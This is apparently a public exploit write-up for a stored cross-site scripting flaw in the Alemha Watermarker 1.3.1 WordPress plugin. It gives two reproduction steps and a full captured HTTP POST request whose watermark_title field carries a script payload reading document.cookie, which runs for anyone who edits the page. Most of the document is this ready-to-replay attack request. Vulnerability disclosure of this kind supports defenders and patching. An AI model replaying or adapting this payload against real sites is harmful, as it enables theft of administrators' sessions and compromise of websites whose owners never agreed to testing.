Wordpress Plugin Alemha Watermarker 1.3.1 - Stored Cross-Site Scripting (XSS)

# Exploit Title: Wordpress Plugin Alemha Watermarker 1.3.1 - Stored Cross-Site Scripting (XSS)
# Date: 22 March 2024
# Exploit Author: Erdemstar
# Vendor: https://wordpress.com/
# Version: 1.3.1

# Proof Of Concept:
1. Click Add New Watermark and enter the XSS payload into the Watermark Text.
2. Stored XSS will run on anyone who wants to edit this page.

# Vulnerable Property: watermark_title
# PoC Video: https://youtu.be/XEe0Sno6e2g?si=mcgO6VbAwymGXcCp
# Request:
POST /wp-admin/post.php HTTP/2
Host: erdemstar.local
Cookie: wordpress_sec_dd86dc85a236e19160e96f4ec4b56b38=Attacker%7C1711297520%7CVlz1u8etD9HWW066CNCiUHaGUmSK3WLtvpSKgHVMtzP%7C50573cb574c70a41a241cb9f1f1e3ff22f539fc8630599f2503d02a6c1a7e678; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wp-settings-time-4=1711124335; wordpress_logged_in_dd86dc85a236e19160e96f4ec4b56b38=Attacker%7C1711297520%7CVlz1u8etD9HWW066CNCiUHaGUmSK3WLtvpSKgHVMtzP%7Cdae14d9d9aa7f0c4df03783bb2bd321a5b3d6a63d8c3e1ae131dda689c595862; wp-settings-time-5=1711124723
Content-Length: 1460
Upgrade-Insecure-Requests: 1
Origin: https://erdemstar.local
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://erdemstar.local/wp-admin/post-new.php?post_type=watermark&wp-post-new-reload=true
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

_wpnonce=99a1d1e63a&_wp_http_referer=%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Dwatermark&user_ID=5&action=editpost&originalaction=editpost&post_author=5&post_type=watermark&original_post_status=auto-draft&referredby=https%3A%2F%2Ferdemstar.local%2Fwp-admin%2Fedit.php%3Fpost_type%3Dwatermark&_wp_original_http_referer=https%3A%2F%2Ferdemstar.local%2Fwp-admin%2Fedit.php%3Fpost_type%3Dwatermark&auto_draft=1&post_ID=35&meta-box-order-nonce=ea875c0c6f&closedpostboxesnonce=d29be25ad8&post_title=&samplepermalinknonce=1e667edd3a&wp-preview=&hidden_post_status=draft&post_status=draft&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=03&jj=22&aa=2024&hh=16&mn=25&ss=23&hidden_mm=03&cur_mm=03&hidden_jj=22&cur_jj=22&hidden_aa=2024&cur_aa=2024&hidden_hh=16&cur_hh=16&hidden_mn=25&cur_mn=25&original_publish=Publish&publish=Publish&tax_input%5BCategories%5D%5B%5D=0&post_name=&custom_meta_box_nonce=d1322f94a0&watermark_title=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&img_sizes%5B%5D=thumbnail&img_sizes%5B%5D=medium&img_sizes%5B%5D=large&img_sizes%5B%5D=full&txt_type=ARIAL.TTF&rgb=38%2C1%2C24&txt_size=8&color=%23260118&rotation=&opicity=100&position=top&destance_x=&mesaure_x=px&padding=&mesaure_y=px&background=yes&rgb_bg=255%2C0%2C0&bg_destance_x=&bg_padding=&color_bg=%23ff0000&image=&img_rotation=&img_opicity=100&img_position=top&img_size=4&img_destance_x=&img_mesaure_x=px&img_padding=&img_mesaure_y=px